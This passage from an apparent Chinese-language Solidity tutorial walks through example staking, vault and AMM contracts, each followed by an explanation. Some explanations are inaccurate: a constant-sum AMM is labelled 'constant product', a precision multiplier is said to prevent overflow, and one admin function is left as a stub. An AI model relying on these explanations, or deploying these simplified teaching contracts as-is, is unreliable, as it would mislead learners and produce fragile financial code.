        balanceOf[msg.sender] -= _amount;
        totalSupply -= _amount;
        stakingToken.transfer(msg.sender, _amount);
    }
  • stake函数允许用户质押代币,更新状态。
  • withdraw函数允许用户提取质押的代币,同样更新状态。

8.29.9 奖励领取和计算

    function earned(address _account) public view returns (uint256) {
        return (
            (balanceOf[_account] * (rewardPerToken() - userRewardPerTokenPaid[_account])) / 1e18
        ) + rewards[_account];
    }

    function getReward() external updateReward(msg.sender) {
        uint256 reward = rewards[msg.sender];
        if (reward > 0) {
            rewards[msg.sender] = 0;
            rewardsToken.transfer(msg.sender, reward);
        }
    }
  • earned函数计算用户已获得的奖励。
  • getReward函数允许用户提取其奖励。

8.29.10 管理函数

    function setRewardsDuration(uint256 _duration) external onlyOwner {
        require(finishAt < block.timestamp, "reward duration not finished");
        duration = _duration;
    }

    function notifyRewardAmount(uint256 _amount) external onlyOwner updateReward(address(0)) {
        // 奖励金额通知逻辑
    }
  • setRewardsDuration允许所有者设置奖励持续时间。
  • notifyRewardAmount允许所有者通知合约奖励金额。

8.29.11 辅助函数

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
  • _min函数返回两个数中较小的值,用于计算。

8.29.12 接口定义

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
  • IERC20接口定义了ERC20代币的基本功能,合约通过此接口与代币进行交互。

8.29.13 总结

这个合约实现了一个基本的质押奖励机制,允许用户质押代币以获得奖励,并提供了质押、提取、领取奖励和管理奖励的功能。设计简单但有效,适合构建在以太坊上进行代币质押和奖励分配的场景。

8.30 Discrete Staking Rewards

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract DiscreteStakingRewards {
    IERC20 public immutable stakingToken;
    IERC20 public immutable rewardToken;

    mapping(address => uint256) public balanceOf;
    uint256 public totalSupply;

    uint256 private constant MULTIPLIER = 1e18;
    uint256 private rewardIndex;
    mapping(address => uint256) private rewardIndexOf;
    mapping(address => uint256) private earned;

    constructor(address _stakingToken, address _rewardToken) {
        stakingToken = IERC20(_stakingToken);
        rewardToken = IERC20(_rewardToken);
    }

    function updateRewardIndex(uint256 reward) external {
        rewardToken.transferFrom(msg.sender, address(this), reward);
        rewardIndex += (reward * MULTIPLIER) / totalSupply;
    }

    function _calculateRewards(address account)
        private
        view
        returns (uint256)
    {
        uint256 shares = balanceOf[account];
        return (shares * (rewardIndex - rewardIndexOf[account])) / MULTIPLIER;
    }

    function calculateRewardsEarned(address account)
        external
        view
        returns (uint256)
    {
        return earned[account] + _calculateRewards(account);
    }

    function _updateRewards(address account) private {
        earned[account] += _calculateRewards(account);
        rewardIndexOf[account] = rewardIndex;
    }

    function stake(uint256 amount) external {
        _updateRewards(msg.sender);

        balanceOf[msg.sender] += amount;
        totalSupply += amount;

        stakingToken.transferFrom(msg.sender, address(this), amount);
    }

    function unstake(uint256 amount) external {
        _updateRewards(msg.sender);

        balanceOf[msg.sender] -= amount;
        totalSupply -= amount;

        stakingToken.transfer(msg.sender, amount);
    }

    function claim() external returns (uint256) {
        _updateRewards(msg.sender);

        uint256 reward = earned[msg.sender];
        if (reward > 0) {
            earned[msg.sender] = 0;
            rewardToken.transfer(msg.sender, reward);
        }

        return reward;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

这段代码实现了一个离散奖励质押合约,允许用户通过质押代币来获得奖励。以下是对其各个部分的详细解释:

8.30.1 合约声明和状态变量

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract DiscreteStakingRewards {
    IERC20 public immutable stakingToken; // 质押代币
    IERC20 public immutable rewardToken;  // 奖励代币

    mapping(address => uint256) public balanceOf; // 用户质押的代币数量
    uint256 public totalSupply; // 总质押量
  • 合约名称DiscreteStakingRewards
  • 质押和奖励代币:使用IERC20接口来定义质押和奖励代币。
  • 状态变量balanceOf记录每个用户的质押数量,totalSupply记录所有用户质押的总量。

8.30.2 奖励相关变量

    uint256 private constant MULTIPLIER = 1e18; // 用于精度调整
    uint256 private rewardIndex; // 奖励指数
    mapping(address => uint256) private rewardIndexOf; // 用户的奖励指数
    mapping(address => uint256) private earned; // 用户已赚取的奖励
  • MULTIPLIER:用于确保计算中的精度,防止整数溢出。
  • rewardIndex:跟踪当前的奖励指数。
  • rewardIndexOf:记录每个用户的奖励指数,以便计算其奖励。
  • earned:记录每个用户已赚取的奖励。

8.30.3 构造函数

    constructor(address _stakingToken, address _rewardToken) {
        stakingToken = IERC20(_stakingToken);
        rewardToken = IERC20(_rewardToken);
    }
  • 初始化合约时设置质押代币和奖励代币的地址。

8.30.4 更新奖励指数

    function updateRewardIndex(uint256 reward) external {
        rewardToken.transferFrom(msg.sender, address(this), reward);
        rewardIndex += (reward * MULTIPLIER) / totalSupply;
    }
  • updateRewardIndex函数允许合约接收新的奖励并更新奖励指数。计算公式确保将奖励按质押份额进行分配。

8.30.5 计算奖励

    function _calculateRewards(address account)
        private
        view
        returns (uint256)
    {
        uint256 shares = balanceOf[account];
        return (shares * (rewardIndex - rewardIndexOf[account])) / MULTIPLIER;
    }
  • _calculateRewards是一个私有函数,计算给定账户应得的奖励。通过比较当前奖励指数和用户之前的奖励指数来进行计算。

8.30.6 计算已赚取的奖励

    function calculateRewardsEarned(address account)
        external
        view
        returns (uint256)
    {
        return earned[account] + _calculateRewards(account);
    }
  • calculateRewardsEarned允许用户查询他们已赚取的总奖励,包括当前可领取的和已经赚取的。

8.30.7 更新用户奖励

    function _updateRewards(address account) private {
        earned[account] += _calculateRewards(account);
        rewardIndexOf[account] = rewardIndex;
    }
  • _updateRewards函数更新用户的奖励状态,确保在质押或领取奖励之前计算并更新他们的奖励。

8.30.8 质押和提取函数

    function stake(uint256 amount) external {
        _updateRewards(msg.sender);
        balanceOf[msg.sender] += amount;
        totalSupply += amount;
        stakingToken.transferFrom(msg.sender, address(this), amount);
    }

    function unstake(uint256 amount) external {
        _updateRewards(msg.sender);
        balanceOf[msg.sender] -= amount;
        totalSupply -= amount;
        stakingToken.transfer(msg.sender, amount);
    }
  • stake函数允许用户质押代币,更新奖励状态并转移代币到合约。
  • unstake函数允许用户提取质押的代币,同样更新奖励状态。

8.30.9 领取奖励函数

    function claim() external returns (uint256) {
        _updateRewards(msg.sender);
        uint256 reward = earned[msg.sender];
        if (reward > 0) {
            earned[msg.sender] = 0;
            rewardToken.transfer(msg.sender, reward);
        }
        return reward;
    }
  • claim函数允许用户领取他们已赚取的奖励,并将其转移到用户账户中。

8.30.10 接口定义

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
  • IERC20接口定义了ERC20代币的基本功能,合约通过此接口与代币进行交互。

8.30.11 总结

这个合约实现了一个离散奖励机制,允许用户通过质押代币获得奖励。设计简洁且有效,适合在以太坊上进行代币质押和奖励分配的场景。合约确保用户在质押和领取奖励时能够正确计算和更新奖励状态。

8.31 Vault

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Vault {
    IERC20 public immutable token;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token) {
        token = IERC20(_token);
    }

    function _mint(address _to, uint256 _shares) private {
        totalSupply += _shares;
        balanceOf[_to] += _shares;
    }

    function _burn(address _from, uint256 _shares) private {
        totalSupply -= _shares;
        balanceOf[_from] -= _shares;
    }

    function deposit(uint256 _amount) external {
        /*
        a = amount
        B = balance of token before deposit
        T = total supply
        s = shares to mint

        (T + s) / T = (a + B) / B 

        s = aT / B
        */
        uint256 shares;
        if (totalSupply == 0) {
            shares = _amount;
        } else {
            shares = (_amount * totalSupply) / token.balanceOf(address(this));
        }

        _mint(msg.sender, shares);
        token.transferFrom(msg.sender, address(this), _amount);
    }

    function withdraw(uint256 _shares) external {
        /*
        a = amount
        B = balance of token before withdraw
        T = total supply
        s = shares to burn

        (T - s) / T = (B - a) / B 

        a = sB / T
        */
        uint256 amount =
            (_shares * token.balanceOf(address(this))) / totalSupply;
        _burn(msg.sender, _shares);
        token.transfer(msg.sender, amount);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );
}

这段代码实现了一个简单的代币储存合约(Vault),允许用户存入和提取代币,并通过铸造和销毁“股份”来管理用户在合约中的权益。以下是对代码的详细解释:

8.31.1 合约声明和状态变量

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Vault {
    IERC20 public immutable token; // 存储的代币

    uint256 public totalSupply; // 总股份
    mapping(address => uint256) public balanceOf; // 用户的股份余额

    constructor(address _token) {
        token = IERC20(_token); // 初始化代币地址
    }
  • 合约名称Vault,表示一个代币储存库。
  • 状态变量
    • token:表示用户存储的代币,使用IERC20接口与代币进行交互。
    • totalSupply:表示合约中所有用户股份的总和。
    • balanceOf:映射每个用户的股份余额。

8.31.2 铸造和销毁股份

    function _mint(address _to, uint256 _shares) private {
        totalSupply += _shares; // 增加总股份
        balanceOf[_to] += _shares; // 增加指定用户的股份
    }

    function _burn(address _from, uint256 _shares) private {
        totalSupply -= _shares; // 减少总股份
        balanceOf[_from] -= _shares; // 减少指定用户的股份
    }
  • 铸造(Mint)_mint函数用于增加总股份和用户的股份。
  • 销毁(Burn)_burn函数用于减少总股份和用户的股份。

8.31.3 存款功能

    function deposit(uint256 _amount) external {
        /*
        a = amount
        B = balance of token before deposit
        T = total supply
        s = shares to mint

        (T + s) / T = (a + B) / B 

        s = aT / B
        */
        uint256 shares;
        if (totalSupply == 0) {
            shares = _amount; // 如果没有股份,直接铸造与存入金额相等的股份
        } else {
            shares = (_amount * totalSupply) / token.balanceOf(address(this)); // 根据存入金额和当前代币余额计算股份
        }

        _mint(msg.sender, shares); // 铸造股份给用户
        token.transferFrom(msg.sender, address(this), _amount); // 将代币从用户转入合约
    }
  • 存款函数:允许用户存入指定数量的代币,并根据存款金额计算相应的股份。
  • 计算股份的公式确保了用户的股份与他们存入的代币价值成比例。

8.31.4 提取功能

    function withdraw(uint256 _shares) external {
        /*
        a = amount
        B = balance of token before withdraw
        T = total supply
        s = shares to burn

        (T - s) / T = (B - a) / B 

        a = sB / T
        */
        uint256 amount =
            (_shares * token.balanceOf(address(this))) / totalSupply; // 根据股份计算用户可以提取的代币数量
        _burn(msg.sender, _shares); // 销毁用户的股份
        token.transfer(msg.sender, amount); // 将计算出的代币转回用户
    }
  • 提取函数:允许用户提取相应股份所代表的代币数量。
  • 计算公式确保用户提取的代币与其在合约中的股份成比例。

8.31.5 接口定义

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );
}
  • IERC20接口:定义了ERC20代币的基本功能,合约通过此接口与代币进行交互。

8.31.6 总结

这个合约实现了一个基本的代币储存库,用户可以通过存入和提取代币来管理自己的股份。合约通过铸造和销毁股份来反映用户在合约中的权益,确保了用户在存取代币时的公平性和透明度。整体设计简洁明了,适合用于各种需要代币管理的场景。

8.32 Constant Sum AMM

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract CSAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        // NOTE: This contract assumes that token0 and token1
        // both have same decimals
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _res0, uint256 _res1) private {
        reserve0 = _res0;
        reserve1 = _res1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );

        bool isToken0 = _tokenIn == address(token0);

        (IERC20 tokenIn, IERC20 tokenOut, uint256 resIn, uint256 resOut) =
        isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);
        uint256 amountIn = tokenIn.balanceOf(address(this)) - resIn;

        // 0.3% fee
        amountOut = (amountIn * 997) / 1000;

        (uint256 res0, uint256 res1) = isToken0
            ? (resIn + amountIn, resOut - amountOut)
            : (resOut - amountOut, resIn + amountIn);

        _update(res0, res1);
        tokenOut.transfer(msg.sender, amountOut);
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        uint256 d0 = bal0 - reserve0;
        uint256 d1 = bal1 - reserve1;

        /*
        a = amount in
        L = total liquidity
        s = shares to mint
        T = total supply

        s should be proportional to increase from L to L + a
        (L + a) / L = (T + s) / T

        s = a * T / L
        */
        if (totalSupply > 0) {
            shares = ((d0 + d1) * totalSupply) / (reserve0 + reserve1);
        } else {
            shares = d0 + d1;
        }

        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(bal0, bal1);
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 d0, uint256 d1)
    {
        /*
        a = amount out
        L = total liquidity
        s = shares
        T = total supply

        a / L = s / T

        a = L * s / T
          = (reserve0 + reserve1) * s / T
        */
        d0 = (reserve0 * _shares) / totalSupply;
        d1 = (reserve1 * _shares) / totalSupply;

        _burn(msg.sender, _shares);
        _update(reserve0 - d0, reserve1 - d1);

        if (d0 > 0) {
            token0.transfer(msg.sender, d0);
        }
        if (d1 > 0) {
            token1.transfer(msg.sender, d1);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

这段代码实现了一个简单的常数产品自动做市商(Constant Product Automated Market Maker, AMM),允许用户在两个代币之间进行交换,并提供流动性。以下是对代码的详细解释:

8.32.1 合约声明和状态变量

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract CSAMM {
    IERC20 public immutable token0; // 第一个代币
    IERC20 public immutable token1; // 第二个代币

    uint256 public reserve0; // token0的储备量
    uint256 public reserve1; // token1的储备量

    uint256 public totalSupply; // 总股份
    mapping(address => uint256) public balanceOf; // 用户的股份余额

    constructor(address _token0, address _token1) {
        // 假设 token0 和 token1 具有相同的小数位
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }
  • 合约名称CSAMM,表示常数产品自动做市商。
  • 状态变量
    • token0token1:表示两种交易的代币。
    • reserve0reserve1:分别存储两个代币的储备量。
    • totalSupply:表示合约中所有用户股份的总和。
    • balanceOf:映射每个用户的股份余额。

8.32.2 铸造和销毁股份

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount; // 增加指定用户的股份
        totalSupply += _amount; // 增加总股份
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount; // 减少指定用户的股份
        totalSupply -= _amount; // 减少总股份
    }
  • 铸造(Mint)_mint函数用于增加用户的股份和总股份。
  • 销毁(Burn)_burn函数用于减少用户的股份和总股份。

8.32.3 更新储备量

    function _update(uint256 _res0, uint256 _res1) private {
        reserve0 = _res0; // 更新token0的储备量
        reserve1 = _res1; // 更新token1的储备量
    }
  • 更新储备量_update函数用于更新合约中的两个代币的储备量。

8.32.4 交换功能

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );

        bool isToken0 = _tokenIn == address(token0);

        (IERC20 tokenIn, IERC20 tokenOut, uint256 resIn, uint256 resOut) =
        isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);
        uint256 amountIn = tokenIn.balanceOf(address(this)) - resIn;

        // 0.3% fee
        amountOut = (amountIn * 997) / 1000;

        (uint256 res0, uint256 res1) = isToken0
            ? (resIn + amountIn, resOut - amountOut)
            : (resOut - amountOut, resIn + amountIn);

        _update(res0, res1);
        tokenOut.transfer(msg.sender, amountOut);
    }
  • 交换函数:允许用户在两个代币之间进行交换。
  • 通过计算输入代币的数量,扣除一定比例的手续费(0.3%),并更新储备量。
  • 最后,将输出代币转回给用户。

8.32.5 添加流动性

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        uint256 d0 = bal0 - reserve0; // 新增的token0储备量
        uint256 d1 = bal1 - reserve1; // 新增的token1储备量

        if (totalSupply > 0) {
            shares = ((d0 + d1) * totalSupply) / (reserve0 + reserve1); // 计算应铸造的股份
        } else {
            shares = d0 + d1; // 第一次添加流动性时,股份等于新增的储备总和
        }

        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares); // 铸造股份给用户

        _update(bal0, bal1); // 更新储备量
    }
  • 添加流动性函数:允许用户向合约中添加两种代币的流动性。
  • 根据新增的储备量计算应铸造的股份,并更新储备量。

8.32.6 移除流动性

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 d0, uint256 d1)
    {
        d0 = (reserve0 * _shares) / totalSupply; // 计算应提取的token0数量
        d1 = (reserve1 * _shares) / totalSupply; // 计算应提取的token1数量

        _burn(msg.sender, _shares); // 销毁用户的股份
        _update(reserve0 - d0, reserve1 - d1); // 更新储备量

        if (d0 > 0) {
            token0.transfer(msg.sender, d0); // 将token0转回用户
        }
        if (d1 > 0) {
            token1.transfer(msg.sender, d1); // 将token1转回用户
        }
    }
  • 移除流动性函数:允许用户从合约中提取其股份对应的两种代币。
  • 根据用户的股份比例计算应提取的代币数量,更新储备量,并将代币转回给用户。

8.32.7 接口定义

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
  • IERC20接口:定义了ERC20代币的基本功能,合约通过此接口与代币进行交互。

8.32.8 总结

这个合约实现了一个基本的常数产品自动做市商,用户可以在两个代币之间进行交换,并通过添加或移除流动性来参与市场。合约通过铸造和销毁股份来反映用户在合约中的权益,确保了用户在交易和流动性提供过程中的公平性和透明度。整体设计简洁明了,适合用于去中心化交易所(DEX)等场景。

8.33 Constant Product AMM

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract CPAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _reserve0, uint256 _reserve1) private {
        reserve0 = _reserve0;
        reserve1 = _reserve1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );
        require(_amountIn > 0, "amount in = 0");

        bool isToken0 = _tokenIn == address(token0);
        (IERC20 tokenIn, IERC20 tokenOut, uint256 reserveIn, uint256 reserveOut)
        = isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);

        /*
        How much dy for dx?

        xy = k
        (x + dx)(y - dy) = k
        y - dy = k / (x + dx)
        y - k / (x + dx) = dy
        y - xy / (x + dx) = dy
        (yx + ydx - xy) / (x + dx) = dy
        ydx / (x + dx) = dy
        */
        // 0.3% fee
        uint256 amountInWithFee = (_amountIn * 997) / 1000;
        amountOut =
            (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);

        tokenOut.transfer(msg.sender, amountOut);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        /*
        How much dx, dy to add?

        xy = k
        (x + dx)(y + dy) = k'

        No price change, before and after adding liquidity
        x / y = (x + dx) / (y + dy)

        x(y + dy) = y(x + dx)
        x * dy = y * dx

        x / y = dx / dy
        dy = y / x * dx
        */
        if (reserve0 > 0 || reserve1 > 0) {
            require(
                reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"
            );
        }

        /*
        How much shares to mint?

        f(x, y) = value of liquidity
        We will define f(x, y) = sqrt(xy)

        L0 = f(x, y)
        L1 = f(x + dx, y + dy)
        T = total shares
        s = shares to mint

        Total shares should increase proportional to increase in liquidity
        L1 / L0 = (T + s) / T

        L1 * T = L0 * (T + s)

        (L1 - L0) * T / L0 = s 
        */

        /*
        Claim
        (L1 - L0) / L0 = dx / x = dy / y

        Proof
        --- Equation 1 ---
        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)
        
        dx / dy = x / y so replace dy = dx * y / x

        --- Equation 2 ---
        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)

        Multiply by sqrt(x) / sqrt(x)
        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))
        
        sqrt(y) on top and bottom cancels out

        --- Equation 3 ---
        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)  
        = ((x + dx) - x) / x
        = dx / x

        Since dx / dy = x / y,
        dx / x = dy / y

        Finally
        (L1 - L0) / L0 = dx / x = dy / y
        */
        if (totalSupply == 0) {
            shares = _sqrt(_amount0 * _amount1);
        } else {
            shares = _min(
                (_amount0 * totalSupply) / reserve0,
                (_amount1 * totalSupply) / reserve1
            );
        }
        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /*
        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
        v / L = s / T
        
        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so 
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y
        */

        // bal0 >= reserve0
        // bal1 >= reserve1
        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        amount0 = (_shares * bal0) / totalSupply;
        amount1 = (_shares * bal1) / totalSupply;
        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");

        _burn(msg.sender, _shares);
        _update(bal0 - amount0, bal1 - amount1);

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);
    }

    function _sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

这段代码实现了一个常数乘积自动化做市商(CPAMM)的合约,支持代币的交换、流动性添加和移除。以下是对代码的逐步解释:

8.33.1 合约结构

  1. 合约声明和状态变量
    • IERC20 public immutable token0;IERC20 public immutable token1;:定义了两个不可变的代币(例如,ETH 和 DAI)。
    • uint256 public reserve0;uint256 public reserve1;:记录合约中每种代币的储备量。
    • uint256 public totalSupply;:记录合约中流通的总代币数量。
    • mapping(address => uint256) public balanceOf;:用于记录每个用户的代币余额。
  2. 构造函数
    • constructor(address _token0, address _token1):初始化代币地址,确保合约可以与这些代币进行交互。

8.33.2 内部函数

  1. **_mint 和 _burn**
    • _mint(address _to, uint256 _amount):增加用户的代币余额,并增加总供应量。
    • _burn(address _from, uint256 _amount):减少用户的代币余额,并减少总供应量。
  2. **_update**
    • _update(uint256 _reserve0, uint256 _reserve1):更新合约中的储备量。

8.33.3 外部函数

  1. swap
    • function swap(address _tokenIn, uint256 _amountIn):用于交换代币。用户可以输入一种代币并获得另一种代币。
    • 检查输入代币是否有效和数量是否大于零。
    • 根据输入代币的类型确定 tokenIntokenOut,以及对应的储备量。
    • 使用常数乘积公式计算输出代币的数量,并收取 0.3% 的费用。
    • 更新储备量,并将输出代币发送给用户。
  2. addLiquidity
    • function addLiquidity(uint256 _amount0, uint256 _amount1):允许用户向合约添加流动性。
    • 计算添加的流动性与现有流动性之间的比例,确保价格不发生变化。
    • 计算用户应获得的股份,并铸造这些股份。
  3. removeLiquidity
    • function removeLiquidity(uint256 _shares):允许用户从合约中移除流动性。
    • 根据用户所持股份计算应移除的代币数量,并转移代币给用户。

8.33.4 辅助函数

  1. **_sqrt 和 _min**
    • _sqrt(uint256 y):计算输入数字的平方根,用于流动性计算。
    • _min(uint256 x, uint256 y):返回两个数字中的较小值。

8.33.5 接口定义

  1. IERC20
    • 定义了 ERC20 代币的标准接口,包括 totalSupply, balanceOf, transfer, approvetransferFrom 等函数。

8.33.6 总结

这个合约实现了一个基础的 AMM,支持代币交换和流动性管理。它使用常数乘积公式来维持价格稳定,并采用铸造和销毁代币的方式管理流动性股份。

8.34 Stable Swap AMM

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Invariant - price of trade and amount of liquidity are determined by this equation

An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))

Topics
0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
1. Invariant
2. Swap
   - Calculate Y
   - Calculate D
3. Get virtual price
4. Add liquidity
   - Imbalance fee
5. Remove liquidity
6. Remove liquidity one token
   - Calculate withdraw one token
   - getYD
TODO: test?
*/

library Math {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

contract StableSwap {
    // Number of tokens
    uint256 private constant N = 3;
    // Amplification coefficient multiplied by N^(N - 1)
    // Higher value makes the curve more flat
    // Lower value makes the curve more like constant product AMM
    uint256 private constant A = 1000 * (N ** (N - 1));
    // 0.03%
    uint256 private constant SWAP_FEE = 300;
    // Liquidity fee is derived from 2 constraints
    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
    // 2. Swapping in a balanced pool is like adding and then removing liquidity
    //    from a balanced pool
    // swap fee = add liquidity fee + remove liquidity fee
    uint256 private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
    uint256 private constant FEE_DENOMINATOR = 1e6;

    address[N] public tokens;
    // Normalize each token to 18 decimals
